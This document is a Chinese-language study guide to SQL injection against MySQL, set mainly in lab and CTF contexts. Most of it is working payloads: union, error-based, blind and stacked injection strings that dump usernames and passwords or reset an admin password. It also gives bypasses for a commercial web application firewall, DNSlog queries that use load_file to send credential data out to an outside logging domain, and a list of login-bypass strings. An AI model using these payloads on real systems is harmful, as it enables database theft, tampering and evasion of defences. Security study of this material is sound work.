SQL注入知识点总结

​ 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。

SQL概要

​ 1、产生原因:开发者对用户参数没有严格过滤,导致SQL语句被不合理拼接。

​ 2、危害:数据库信息泄露,被篡改甚至删除。通过into outfile写入文件导致get shell。

SQLI常见姿势(sql injection)

字符型注入

单引号闭合

1
2
3
$query="select name,age,gender from t_students where id='{$_GET['id']}'";
payload:?id=1' and 1=2 --+
select name,age,gender from t_students where id='1' and 1=2 --+'

​ –+代表注释,和#(%23)相同,–+就是–空格。

​ 观察是否存在报错,如果页面存在报错则存在注入漏洞,进行union联合注入即可。

双引号闭合

1
2
3
$query="select name,age,gender from t_students where id="{$_GET['id']}"";
payload:?id=1" and 1=2 --+
select name,age,gender from t_students where id="1" and 1=2 --+"

​ 和单引号闭合一样,没什么好说的。

​ 判断单双注入时:?id=1’都会报错,?id=1’ ‘报错则是单引号注入,否则是双引号注入。

​ 当我们在闭合时,可能存在语句嵌套,可用 ) 闭合语句。

数字型注入

1
2
3
$query="select name,age,gender from t_students where id={$_GET['id']};
payload:?id=1 and 1=2 --+
select name,age,gender from t_students where id=1 and 1=2 --+"

​ 我们一般判断是字符型注入还是数字型注入,?id=1’报错,?id=1 and 1=1正常,?id=1 and 1=2无报错无法查询则为数字型注入。

UNION联合查询注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload:?id=1' or 1=1 order by 3  --+                         //查找字段数
payload:?id=-1' union select 1,2,3--+
payload:?id=1' and 1=2 union select 1,2,3--+ //与上面的payload相同
爆库
payload:?id=-1' union select 1,database(),3 --+
爆表
payload:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆字段
payload:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
爆数据
payload:?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+


当遇到逗号被过滤掉时:
?id=1' union select * from (select database()) a join (select 2) b %23

如果存在报错,那么非常简单,寻找回显的数字,进行注入即可。

MYSQL自带数据库information_schema

​ information_schema库是mySQL自带的一个库,其中包含了当前数据库管理系统的所有信息,但该数据库并不是一个实体的数据库,它不存储任何实际意义上的数据,它只是整个数据库管理系统的一个视图,当某个数据库的某个表发生变化时,information_schema库中相关的数据将同时发生变化。  
​ 在注入中,我们关注的是该库中的schemata、tables、columns三个表。他们分别存储了整个数据库管理系统的所有数据库信息,表信息,字段信息。在schemata表中,通过schema_name字段可以获取所有的数据库名;在tables,通过table_name、table_schema字段可以获取所有的表名与其对应的数据库名;在columns表中,通过columns、table_name、table_schema字段可以获取所有的字段名以及其所属表与数据库。
​ 我们的注入思路就是先通过mysql的内建函数database(),获取当前数据库名,再通过tables表获取,所有的表信息,再通过columns表获取上述表所有的字段,最后通过字段查询想要的数据。

当然使用information_schema库查询信息有一个很重要的条件限制,那就是,需要当前连接数据库的用户具有读该数据库的权限。

user 表保存数据库用户密码 和host等等信息。(user-password)

报错注入

​ 报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不行,首选报错注入。

​ 我们在构造语句时,就是要构造让数据库报错的语句。

group重复键冲
1
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

​ 查询效果:从information_schema.tables表中根据拼接字段x对结果集进行计数输出。在上例中rand函数生成的随机数乘以2的范围就是0-2,那么再使用floor函数进行向下取整,其值就只能是0或者1。同时因为group by 的特性使得其在进行分组的时候会对后面的字段进行两次运算,group by 在进行分组的时候,会生成一张虚拟表记录数据,那么假设一种情况,当group by进行第一次运算的时候,发现虚拟表中没有相同的数据,准备进行插入操作,但因为rand函数的随机性,导致在第二次运算的时候产生的结果在虚拟表中已经存在,那么在插入该数据的时候就会产生主键冲突,从而产生报错信息,将我们需要的数据通过报错信息外带。

extractvalue() 函数
1
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+

​ 与updatexml类似,第一个参数就是为了上传一个xml文档,第二个参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过再函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容。

updatexml注入
1
?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

​ updatexml函数接受三个参数,第一个参数是一个xml格式的字符串,第二个参数是符合xpath语法规范的字符串,第三个参数是要替换成的字符串。该函数的功能就是从第一个xml字符串中通过xpath语法选择匹配的部分替换成第三个参数的内容。并且当xpath语法出现错误的时候,将会回显数据,于是我们将我们的查询语句放到第二个参数中,作为错误回显的一部分外带到客户端浏览器。

其他

​ 几何函数注入,基于列名冲突的注入,基于溢出的注入等。存在版本限制,如有需要,自行查阅相关资料。

盲注

​ 没有错误回显时进行的注入,用=判断,用sleep()判断。

布尔型盲注

​ 利用页面显示的不同。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//判断是否是 Mysql数据库
?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
?id=1' and exists(select*from sysobjects) --+

1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+

2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
?id=1' and ascii(substr(database(),1,1))>115 --+ //115为ascii表中的十进制,对应字母s
?id=1' and exists(select*from admin) --+ //猜测当前数据库中是否存在admin表

3:判断当前数据库中表的个数
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

2:判断每个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+ //第一张表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>6 --+ //第二张表

3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
//判断表字段的个数
?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
//判断第一个字段的长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
//判断第一个字段第一个字符的assii
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段第二个字符的assii
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
// 判断id字段的第一个数据的长度
?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
?id=1' and length((select id from users limit 1,1))>5 --+
// 判断id字段的第一行数据的第一个字符的ascii值
?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+

​ 可借助burp suite或者自行写python脚本实现,手工注入不太现实。

时间型盲注

​ 看浏览器跳转的时间判断注入。

1
2
3
4
?id=1' and if( ascii(substr(database(),1,1))= 115 ,sleep(5),0) --+
ascii(substr(database(),1,1))= 115
可以看看strcmp函数的使用,下面给出一个实战的例子
?id=1' and if((strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')),1,sleep(5))-- +

​ 与报错注入相同,不再赘述。

HTTP头注入

User-Agent

​ User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。

​ Cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。

Referer
     Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
X-Forwarded-For
     X-Forwarded-For:用来识别客户端最原始的ip地址。

以上均是数据库当中存储了HTTP头的内容,用burp suite在HTTP头加入单引号判断报错与否,结合报错注入即可(奇奇怪怪的头注另算)。

宽字节注入

​ 宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

​ 由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后mysql服务器会对查询语句进行GBK编码,即下面所说的

​ 我们在前面加上 %df’ ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c’,而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ‘ ,被认为運’ ,成功消除了转义函数的影响。

  • ‘ %27
  • \ %5c
  • %df' %df%5c’ =》 運’
1
?id=1%df' orderby 3--+

白盒

查看mysql是否为GBK编码,且是否使用preg_replace()把单引号转换成'或自带函数addslashes()进行转义。如果上面都存在,则存在宽字节注入。

防御:

​ 1、我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

​ mysqli_set_charset(connection,charset*)*;

​ 把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。

​ 2、设置参数,character_set_client=binary

​ 3、使用utf-8编码

二次注入

​ 二次注入利用了数据存储进数据库时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行。

​ 二次注入点难以发现,但是威力巨大。

​ 二次注入的根源在于,开发者信任数据库中取出的数据是无害的。

1
2
3
4
5
6
insert into user value2,${_GET['username']},${_GET['password']});
payload:?username= admin'or'1 &password=111111
insert into user value2'admin\'or\'1','111111');
插入数据库中变成:2 admin'or'1 111111
当下一次使用这个用户名时:select password from user where username='admin'or'1';
这样会查找出admin用户名的密码,同理,修改密码也适用。

堆叠注入

​ 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

1
2
3
?id=1';update users set password='123456' where id=1; --+ 
1'; handler `1919810931114514` open as `a`; handler `a` read next; handler `a` close;#
查看表下的值,ctf常用

​ 使用堆叠注入场景非常少,因为受API,数据库引擎,权限的限制。web系统中一般只返回一个查询结果,我们在前端看不到返回结果,难以判断漏洞点。而且我们使用堆叠注入时必须要知道数据库的相关信息才能构造语句。

注入点场景

SELECT语句

select express from table where(having) order by(group by) limit

​ 1、express

1
2
3
4
select	${_GET[ ' id ' ]},content	from news;
利用AS别名的方法,直接将查询的结果显示到页面中。
payload:?id=(select pwd from user) as title
select (select pwd from user) as title,content from news;

​ 我们通过时间盲注也可获取,但如果有SQL语法,可直接构造。

​ 2、table

1
2
3
select	title	from	${_GET['table']};
payload:?id=select pwd as title from user
select title from (select pwd as title from user);

​ 如果注入点有反引号包裹,那么需要先闭合反引号。

​ 3、where(group)

1
2
3
4
SELECT title FROM wp_news WHERE id= ${_GET['id']}
payload:?ititle=id desc,(if(1,sleep(5),1))
可以让页面睡眠5秒,可以利用这一特点进行基于时间的注入。
payload:?ititle=id desc,(if(时间盲注,sleep(5),1))

​ 4、limit

​ 通过改变数字的大小,页面会显示更多或者更少的记录数。

​ 在整个SQL语句没有order by关键字的情况下,可以直接使用union注入。

​ 5、order by

1
2
3
4
5
select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by xxx

case when A then 1 else 0 end

(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end)

INSERT语句

1.注入点在tbl_name

1
2
3
4
5
<?php
$conn = mysqli_connect("127.0.0.1","root","root","test");
$res = mysqli_query($conn,"insert into {$_GET['table']} values(6,'new2','new3','new4')");
?>
payload:?table=ps values(4,'newadmin','newpassword')"--+

2.注入点在VALUES

1
2
3
4
5
6
7
8
9
INSERT INTO ps VALUES(9,'ababa','321');
可以先闭合单引号,然后再插入一条记录,通过管理员和普通用户在同一个表,此时可以通过表字段来控制管理员权限。
INSERT INTO ps VALUES(9,'ababa','321'),(10,'newadmin','newpassword');
在某些情况,我们也可以将数据插入能回显的字段,假设最后一个字段有回显。
INSERT INTO ps VALUES(11,'babababa','789'),(12,'afa',(select VERSION()));
INSERT INTO ps VALUES(7,‘babababa’,‘789’),(8,‘afa’,(select password from ps limit 1,1));
这里也可以执行select语句但是要注意不能在插入的表内查询此表不然会报错。
换成news表的插入即可。
INSERT INTO news VALUES(7,'babababa','789','asdas'),(8,'afa',(select password from ps limit 0,1),'asfasfas');

UPDATE语句

​ UPDATE语句适用于数据库的更新,如用户修改自己的文章、介绍信息、更新信息等。

1
2
3
4
5
6
7
8
update user set ${_GET[id]} where user ='23';
我们可以将id修改。
payload:?id=99

我们可以更改其列名,以方便我们利用,
payload:?id=99,user='xxx'

思考一下我们输入id时不知道id对应的字段名是多少的,我们在改id的同时将某一列的字段更改,那么我们就可以根据我们更改的这个字段查询这一整条信息,或者借此更改管理员密码,实现管理员账号的登录。

DELETE语句

​ DELETE注入多在WHERE之后,假设注入语句如下。

1
2
3
4
5
$res = mysqli_query($conn,"DELETE FROM ps WHERE id ={$_GET['id']}");
为了防止在注入时删除数据,我们可以在后面加 and sleep(1) 让语句不报错却又无法正常执行
delete from ps where id=11 and sleep(1);
再此基础上我们结合报错注入就可以实现语句的查询。
delete from news where i=1 and sleep(5) and extractvalue(null,concat(0x7e,(操作代码),0x7e));

​ 也可以结合时间盲注,与报错注入相同,参考上面的时间盲注即可。

WafByPass

UNION SELECT过狗

​ 注释绕过

1
2
3
4
5
6
7
8
9
union all -- %0a select 拦截

union -- ()%0a select 拦截

union -- 1%0a select 不拦截

union -- hex()%0a select 不拦截

将#进行url编码%23绕过也可尝试,但是一般会被过滤。

​ 内联注释绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
union    不拦截
select 不拦截
union select 拦截
union 各种字符 select 拦截
union/*select*/ 不拦截

http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+ 拦截

http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+ 不拦截
为什么不拦截 ,因为50000是他的版本号,你多一位少一位语句是不能能正常执行的,所以他就放行了,那么我们可以用burp来遍历这个值呢,结果的确是我们想要的

http://192.168.59.129/Less-1/?id=1' union/*!/*!11440select*/ 1,2,3--+ 不拦截

http://192.168.59.129/Less-1/?id=1' union/*!11441/*!11440select*/ 1,2,3--+ 不拦截

http://192.168.59.129/Less-1/?id=1' union/*!11440select*/ 1,2,3--+ 不拦截

http://192.168.59.129/Less-1/?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+ 不拦截

使用/*!5000*/,/**/,或者两者嵌套绕过字符筛选。

​ 老生常谈 hpp 被人遗忘的手法

1
2
http://192.168.59.129/Less-1/?id=-1' /*&id='union select 1,user(),3 -- +*/
前面说过 /**/ 里面的内容安全狗基本不管了,那么我们用hpp 参数污染来绕过就很简单了 照成这个手法的原因是 web server 对参数的解析问题 在php/apache 中 它总解析最后一个id

​ 既然绕过了 union select 那么注入就简单了 首先来看个 user() ,因为它是被拦截的所以我们需要简单的绕过它

1
2
3
4
user()   拦截
user/**/() 拦截
user/**/(/**/) 拦截
hex(user/**/(/**/)) 不拦截
1
2
union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1
用hex()%0a绕过--+过滤
1
2
3
4
5
6
`information_schema`.schemata
`information_schema`.`schemata` //PHP中字符串的凭借方法
information_schema.`schemata`

(information_schema.schemata) //括号代替空格的方法,但是不能配合SQL函数执行,因为函数一旦被括上就无法正常解析。
information_schema/**/.schemata //上面提到的/**/绕过

盲注过狗

1
2
3
4
5
6
7
8
9
10
11
12
13
时间盲注

sleep----可以使用 BENCHMARK(500000000,MD5('test'))绕过

if(1,1,1) 不拦截
a if(1,1,1) 不拦截
and if(1,1,1) 拦截
| if(1,1,1) 不拦截
|| if(1,1,1) 拦截
&& if(1,1,1) 拦截
/*!and*/ if(1,1,1) 拦截
/*!11440and*/ if(1,1,1) 不拦截
andaif(1,1,1) 不拦截

​ 我们这一章来试试不用内联注释内不内绕过。

​ 查阅乌云知识库发现一个小知识点 and!!!1=1 and后面可以接上奇数个特殊的字符包括不限于! ~ & - 其他还可以自己测试 那么我们的payload就能构造出来了

1
and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
布尔盲注
使用and!!!1=1绕过
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 拦截

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 不拦截

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 不拦截

常规姿势绕过and换成&&,结合/*!*/绕过

and substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 不拦截

报错注入过狗

​ 一般来说,waf会对updatexml的完整性进行判别,我们难以在阔海内做手脚,我们可以尝试在外部套壳。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 /*updatexml*/(1,1,1) 不拦截

/*!updatexml*/(1,1,1) 拦截

/*!5000updatexml*/(1,1,1) 不拦截

/*!11440updatexml*/(1,1,1) 不拦截

接着我们需要在前面套壳,和盲注过狗的常规注入一样

and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截

or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截

/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截

/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

| /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

反引号应该也可以用来绕过
?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

结合right(),mid()函数读取一段字符串,使得取出来的数据完整。

杂项总结

1
2
3
4
5
6
7
8
9
10
=可以用like或者~~绕过
/**//*!*//*!5000*//*!11400*/包裹字符可绕过
seselectlect,ununionion双写绕过,大小写混写绕过(对抗简单的正则匹配)
``反引号包裹绕过
用()括号包裹、%0a适当加上/**/等进行拼接绕过
空格也可用;%00绕过(%0a、%0b、%0c、%09%a0也行)。
利用PHP内置凭借符号.进行绕过,加上''辅助绕过
url编码绕过
truefalse&&||and!!!绕过
from后面表名绕过可用(),{},[]包裹绕过

​ 编码绕过的话具体结合源代码,根据实际场景,黑盒可用base64猜测。

1
2
3
4
5
多可控点的引号逃逸
select * from news where id='可控点1' and title = '可控点2'

select * from news where id='a\' and title = 'or sleep(1)#'
sleep()被执行,说明可控点2的单引号逃逸出来。a\' and title = 为id的值
1
2
3
4
5
6
7
字符串截断
当字符串输入长度限制为10位,10位后截断时,我们可以构造aaaaaaaaa'
自动转义会变成aaaaaaaaa\',截取后变为aaaaaaaaa\
?title=aaaaaaaaa'&content=,1,1)(3,4,(select pwd from user limit 1),1)--+
在insert into语句中就会新增两行数据
aaaaaaaaa', 1 1
3 4 password

补充:like[“%23”]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
正常语句:
select * from users where id=1 ;

测试功能:
select * from users where id=1 like "[%23]"; //发现查询出来的是空表

那我们构造如下payload:
select * from users where id=1 like "[%23]" union select * from users;
我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于是select * from users

id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+

DNSlog注入

说明:

​ DNSlog注入,也叫DNS带外查询,它是属于带外通信的一种(Out of Band,简称OOB)。

​ 寻常的注入基本都是在同一个信道上面的,比如正常的get注入,先在url上插入payload做HTTP请求,然后得到HTTP返回包,没有涉及其他信道。而所谓的带外通信,至少涉及两个信道

原理

  1. 攻击者先向web服务器提交payload语句,比如(select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))

  2. 其中的攻击语句被放到数据库中会被执行,生成的结果与后面的.XXX.ceye.io\\abc构成一个新的域名

  3. 这时load_file()就可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析

  4. 此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的**ceye.io**,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关`ceye.io`的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在`ceye.io`时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

    当然还有其他可以使用的DNSlog平台,如http://www.dnslog.cn/。

    这里我就使用http://ceye.io, 它是一个免费的记录dnslog的平台,注册后到Profile页面会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。

使用场景:

​ sql的布尔型盲注、时间注入的效率普遍很低且当注入的线程太大容易被waf拦截,并且像一些命令执行,xss以及sql注入攻击有时无法看到回显结果,这时就可以考虑DNSlog注入攻击

  1. SQL盲注
  2. 命令执行(无回显)
  3. XSS(无回显)
  4. SSRF(无回显)

但有个重要条件:load_file()函数可以使用。也就是说需要配置文件my.ini中secure_file_priv=

1
2
3
4
5
6
7
8
9
10
11
12
13
构造语法
SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))
获取数据库
?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
获取数据表
?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
获取字段名
?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
获取表数据
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
?id=1' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

注意事项

  1. dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。

  2. 在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况,这是我在进行复现的时候遇到的情况。

  3. 在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。

    DNSlog注入脚本:https://github.com/ADOOO/DnslogSqlinj

万能密码表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
asp aspx:
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1 #


php:
admin' or 1=1 #
admin' or 1=1 --+

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--


jsp
1'or'1'='1

admin' or 1=1/*

参考链接

https://www.cnblogs.com/xhds/p/12322839.html

https://blog.csdn.net/qq_44159028/article/details/114325805

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

https://blog.csdn.net/hackzkaq/article/details/112868185

《从0到1CTFer成长之路》